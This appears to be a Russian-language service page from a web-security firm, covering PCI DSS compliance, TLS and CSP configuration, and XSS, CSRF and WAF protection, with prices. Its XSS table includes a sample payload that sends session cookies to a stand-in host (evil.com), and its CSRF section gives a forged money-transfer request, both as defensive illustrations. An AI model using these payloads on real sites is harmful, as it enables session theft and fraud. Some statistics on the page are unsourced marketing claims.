Вы обрабатываете платежи на сайте и должны соответствовать PCI DSS. Штрафы за утечку данных карт достигают миллионов рублей, а Visa может отключить эквайринг. Мы помогаем интернет-магазинам и сервисам пройти сертификацию за 5–30 дней в зависимости от уровня. По данным исследований, около 70% компаний выбирают SAQ A как самый простой способ соответствия, ведь он требует в 15 раз меньше усилий, чем SAQ D — всего 22 пункта против 300+. Однако для этого нужно правильно настроить платёжную интеграцию и инфраструктуру. С нами вы избежите типичных ошибок: хранение CVV, слабые SSL-шифры, отсутствие сегментации сети. Ниже разберём, как обеспечить защиту данных и пройти аудит без лишних затрат.
Какой уровень PCI DSS подходит вашему сайту?
PCI DSS делит организации на четыре уровня по объёму транзакций. Чем выше уровень, тем строже требования.
| Уровень |
Годовой объём транзакций |
Обязательные процедуры |
| Level 1 |
Более 6 млн |
Ежегодный аудит QSA + квартальное ASV-сканирование |
| Level 2 |
1–6 млн |
Ежегодный SAQ + квартальное ASV-сканирование |
| Level 3 |
20 тыс. – 1 млн онлайн |
Ежегодный SAQ |
| Level 4 |
Менее 20 тыс. онлайн |
Ежегодный SAQ |
Примечание: SAQ (Self-Assessment Questionnaire) — самооценочный опросник. Его тип зависит от способа обработки данных карт.
| Характеристика |
SAQ A |
SAQ D |
| Количество требований |
~22 |
300+ |
| Обработка данных карт |
Только на стороне провайдера |
На сервере |
| Сложность внедрения |
Низкая: 5–10 дней |
Высокая: 3–6 месяцев |
| Риски при ошибке |
Минимальные |
Критические |
"PCI DSS is a set of security standards designed to ensure that ALL companies that accept, process, store or transmit credit card information maintain a secure environment." PCI Security Standards Council
Как защитить данные карт без серверной обработки?
Самый простой путь — переложить обработку платежей на провайдера. Используйте Stripe Elements, Cloudpayments или ЮKassa с iframe. Тогда данные карты никогда не попадут на ваш сервер, и вы сможете заполнить SAQ A — всего 22 пункта.
<div id="card-element"></div>
<script src="https://js.stripe.com/v3/"></script>
<script>
const stripe = Stripe('pk_live_...');
const elements = stripe.elements();
const card = elements.create('card');
card.mount('#card-element');
const { paymentMethod } = await stripe.createPaymentMethod({
type: 'card',
card: card,
});
// Отправляем paymentMethod.id на сервер — данных карты нет
</script>
Требования SAQ A включают: HTTPS на всех страницах, актуальный SSL, запрет на хранение данных карт, ежеквартальное ASV-сканирование, политику безопасности.
Как защитить данные при передаче и хранении?
Если данные карт всё же проходят через ваш сервер (например, для рекуррентных платежей), применяется SAQ D — более 300 пунктов. Рекомендуем избегать этой ситуации. Сравним: переход на токенизацию снижает затраты на безопасность в 5 раз, а время на аудит — с 3 месяцев до 2 недель.
Шифрование передачи (требование 4)
Используйте TLS 1.2 или 1.3 с надёжными шифрами. TLS 1.0 и 1.1 больше не принимаются.
ssl_protocols TLSv1.2 TLSv1.3;
ssl_ciphers 'ECDHE-ECDSA-AES256-GCM-SHA384:ECDHE-RSA-AES256-GCM-SHA384';
ssl_prefer_server_ciphers off;
Хранение данных (требование 3)
Храните только последние 4 цифры PAN и BIN (первые 6). Полный PAN, CVV, PIN и трек магнитной полосы — запрещены.
Как мы обеспечиваем соответствие?
У нас за плечами более 50 проектов по приведению сайтов к PCI DSS. Типовой сценарий:
- Аудит текущего состояния — определяем уровень и недостатки.
- Токенизация — переводим обработку на iframe-решение (Stripe, ЮKassa).
- Настройка безопасности — HTTPS, WAF, сегментация сети.
- ASV-сканирование — через аккредитованного вендора.
- Заполнение SAQ — помощь с вопросами и документацией.
Пример кейса: интернет-магазин электроники с 300 тыс. заказов в год. Исходно — SAQ D, штрафы от Visa за утечку. Мы внедрили Stripe, настроили SSL и WAF, перешли на SAQ A. Затраты на безопасность снизились в 5 раз, а время на аудит — с 3 месяцев до 2 недель.
Процесс работы: от аудита до сертификации
- Аналитика — аудит сети, кода, конфигураций.
- Проектирование — выбор схемы (SAQ A vs D), план миграции.
- Реализация — настройка HTTPS, токенизация, сегментация.
- Тестирование — ASV-сканирование, пентест.
- Документирование — политики, процедуры, SAQ.
- Деплой — передача документации банку.
Что входит в работу (deliverables)
- Детальный отчёт аудита с указанием уязвимостей.
- Настроенный HTTPS/TLS для всех доменов.
- Интегрированная платёжная система с токенизацией.
- Заполненный SAQ с инструкциями.
- Регулярное ASV-сканирование (квартальное).
- Политика информационной безопасности для PCI DSS.
- Консультации по запросу в течение 6 месяцев после внедрения.
Сроки и стоимость
- SAQ A (токенизация + базовая настройка) — от 5 до 10 рабочих дней.
- SAQ D (полный объём) — от 3 до 6 месяцев с участием QSA.
- Стоимость рассчитывается индивидуально: зависит от сложности интеграции, количества доменов, необходимости сегментации.
Свяжитесь с нами для предварительной оценки вашего проекта — мы подготовим коммерческое предложение. Закажите комплексное внедрение PCI DSS под ключ.
Безопасность веб-приложений: HTTPS, CSP, XSS, CSRF, WAF, защита от DDoS
Взлом сайта редко выглядит как в кино. Чаще это: бот нашёл endpoint /admin/export без авторизации, скачал базу клиентов, закрыл соединение. Или: через устаревший плагин WordPress залил веб-шелл, теперь сервер рассылает спам. Или тише: XSS в поле комментария позволяет красть session cookies администраторов, и никто не замечает месяцами. Мы такие случаи разбирали десятками — каждый раз уязвимость можно было закрыть на этапе разработки или аудита.
Безопасность веб-приложений — не одна настройка. Это слои защиты, каждый из которых закрывает отдельный класс атак. Закажите аудит — оценим проект и дадим план работ под ключ за 2–4 недели.
HTTPS и правильная конфигурация TLS
HTTPS — минимальный обязательный уровень. Но «есть SSL-сертификат» и «правильно настроен TLS» — разные вещи.
В конфигурации Nginx/Apache проверяем:
- Протоколы: только TLS 1.2 и TLS 1.3, SSLv3 и TLS 1.0/1.1 — отключены
- Cipher suites: предпочитать ECDHE (Forward Secrecy), убрать NULL, RC4, DES, 3DES
- HSTS (
Strict-Transport-Security: max-age=31536000; includeSubDomains; preload) — браузер больше не делает незащищённых запросов
- OCSP Stapling — ускоряет проверку отзыва сертификата
- Redirect 301 с HTTP на HTTPS — и в конфиге сервера, и в коде (двойной редирект = потеря SEO-веса)
Проверка: SSL Labs (ssllabs.com/ssltest) должен показывать A или A+. Если B — конфигурация слабая.
Let's Encrypt + Certbot для продакшена — стандарт. Автоматическое обновление через certbot renew в cron. Wildcard-сертификат для поддоменов через DNS-01 challenge.
Content Security Policy: самая мощная и самая сложная защита
CSP — HTTP-заголовок, который говорит браузеру, откуда разрешено загружать ресурсы. Правильно настроенный CSP полностью блокирует большинство XSS-атак, даже если уязвимость есть в коде.
Проблема: сломать сайт неправильным CSP проще простого. default-src 'none' — и перестают работать шрифты, картинки, JS. Поэтому начинаем с Content-Security-Policy-Report-Only — CSP логирует нарушения, но ничего не блокирует. Смотрим репорты 2–4 недели, дорабатываем политику, потом переключаем на боевой режим.
Пример реальной политики для сайта с Google Analytics, Google Fonts и Stripe:
Content-Security-Policy:
default-src 'self';
script-src 'self' https://www.googletagmanager.com https://js.stripe.com 'nonce-{random}';
style-src 'self' https://fonts.googleapis.com 'unsafe-inline';
font-src 'self' https://fonts.gstatic.com;
frame-src https://js.stripe.com;
img-src 'self' data: https://www.google-analytics.com;
connect-src 'self' https://api.stripe.com https://www.google-analytics.com;
report-uri /csp-report;
nonce — случайная строка, генерируется на сервере для каждого запроса. Inline-скрипты с правильным nonce разрешены, без nonce — заблокированы. Это ломает XSS через <script>alert(1)</script> полностью.
'unsafe-inline' в style-src — компромисс для inline-стилей. Лучше убрать, перенеся все стили в CSS-файлы, но это требует рефакторинга.
Почему XSS остаётся самой частой уязвимостью?
XSS (Cross-Site Scripting) — инъекция JS-кода через пользовательский ввод. По статистике OWASP, XSS входит в топ-3 уязвимостей веб-приложений. Три типа:
| Тип XSS |
Пример |
Защита |
| Reflected |
/search?q=<script>document.location='https://evil.com/steal?c='+document.cookie</script> |
Эскейпинг вывода, CSP |
| Stored |
Комментарий с кодом, сохранённый в базе |
Валидация ввода, htmlspecialchars() |
| DOM XSS |
element.innerHTML = location.hash |
Избегать innerHTML, использовать textContent |
Защита: никогда не вставлять пользовательский ввод в HTML без эскейпинга. В PHP — htmlspecialchars() с ENT_QUOTES. В Blade-шаблонах Laravel — {{ $var }} безопасен, {!! $var !!} — опасен. В React — {variable} безопасен, dangerouslySetInnerHTML — опасен. Для Rich Text — htmlpurifier на PHP или DOMPurify в браузере.
Типичный кейс: интернет-магазин с XSS в форме отзыва
Клиент обратился после того, как через отзыв на товар злоумышленник украл куки администратора. Мы обнаружили, что поле "отзыв" не экранировалось. Исправили: добавили `htmlspecialchars()` на сервере и `Content-Security-Policy` с nonce для скриптов. После повторного сканирования — 0 уязвимостей.
CSRF: защита форм и API
CSRF (Cross-Site Request Forgery) — злоумышленник заставляет браузер жертвы отправить запрос от её имени. Пример: пользователь авторизован в банке, открывает вредоносную страницу, она делает fetch('https://bank.ru/transfer?to=evil&amount=50000') — если банк не защищён, деньги уходят.
CSRF-токены — стандартная защита для форм: сервер генерирует случайный токен, хранит в сессии, вставляет в форму как hidden field. При POST-запросе токен сверяется. Злоумышленник не знает токен. Laravel делает это автоматически через @csrf.
SameSite cookies — современная защита: SameSite=Strict или SameSite=Lax запрещает браузеру отправлять cookie в cross-site запросах. Работает во всех современных браузерах.
API без сессий (JWT, Bearer tokens) — CSRF неактуален, если токен не хранится в cookie (а в Authorization header или localStorage). Но localStorage уязвим к XSS — поэтому для чувствительных данных предпочтительны HttpOnly cookies с SameSite.
WAF и защита от DDoS
WAF (Web Application Firewall) — фильтрует HTTP-трафик на предмет атак: SQL injection, XSS, path traversal, известные exploit patterns. Варианты:
- Cloudflare WAF — облачный, правила OWASP Top 10 из коробки, кастомные правила через выражения. Managed Rules автоматически блокируют новые угрозы.
- ModSecurity (Nginx/Apache) — self-hosted, OWASP Core Rule Set (CRS). Гибко, но требует настройки и мониторинга ложных срабатываний.
- AWS WAF — для инфраструктуры на AWS, интегрируется с CloudFront и ALB.
DDoS-защита. Cloudflare на уровне L3/L4/L7 — де-факто стандарт для большинства сайтов. Автоматическое смягчение volumetric атак, Under Attack Mode при активной атаке. Для критичной инфраструктуры — Cloudflare Magic Transit или специализированные решения (Qrator, StormWall для российского рынка).
Rate Limiting на уровне приложения — дополнительный слой. Laravel ThrottleRequests middleware: 60 запросов в минуту на IP для общих endpoint, 5 — для /login и /password/reset. Redis как хранилище счётчиков — обязательно для горизонтально масштабируемых систем (иначе лимиты не синхронизируются между серверами).
Другие обязательные меры
Заголовки безопасности. Помимо CSP: X-Frame-Options: DENY (защита от clickjacking), X-Content-Type-Options: nosniff (MIME sniffing), Referrer-Policy: strict-origin-when-cross-origin, Permissions-Policy (ограничение доступа к API браузера: камера, микрофон, геолокация).
SQL injection. Prepared statements везде. Никаких конкатенаций пользовательского ввода в SQL-строки. ORM (Eloquent, Doctrine) защищает по умолчанию. $wpdb->prepare() в WordPress — обязательно.
Обновления зависимостей. composer audit и npm audit — в CI/CD пайплайн. Dependabot или Renovate для автоматических PR с обновлениями. Критичные CVE — патчить в течение 24 часов.
Секреты и конфигурация. .env — никогда в Git. Секреты в production — через переменные окружения CI/CD (GitHub Secrets, GitLab CI Variables) или HashiCorp Vault. Проверка на утечки: git-secrets, truffleHog в pre-commit hooks.
Как мы работаем
-
Аудит — сканирование кода, конфигураций, зависимостей, ручная проверка бизнес-логики.
-
Проектирование — план устранения уязвимостей, подбор стека (CSP, WAF, rate limiting).
-
Реализация — настройка TLS, CSP, заголовков, внедрение Rate Limiting, WAF.
-
Тестирование — повторный пентест, нагрузочное тестирование, проверка ложных срабатываний.
-
Деплой и мониторинг — включение боевого CSP, настройка алертов, обучение команды.
Что входит в работу
- Отчёт с найденными уязвимостями и рекомендациями (PDF + code snippets)
- Готовая конфигурация TLS (Nginx/Apache)
- Политика CSP с режимом Report-Only и боевой версией
- Настройка WAF и Rate Limiting
- План обновлений зависимостей
- Доступы к инструментам мониторинга (Sentry, Datadog)
- 30 дней постаудит-поддержки (консультации, правки)
Сроки и стоимость
| Тип работ |
Срок |
Диапазон стоимости |
| Security-аудит + hardening (заголовки, TLS, обновления) |
1–2 недели |
от 60 000 ₽ |
| Внедрение CSP (Report-Only → продакшен) |
2–4 недели |
от 90 000 ₽ |
| Настройка WAF + Rate Limiting + DDoS защита |
1–2 недели |
от 70 000 ₽ |
| Комплексный security review + пентест |
3–6 недель |
от 200 000 ₽ |
Бюджет рассчитывается индивидуально — напишите нам, чтобы оценить проект.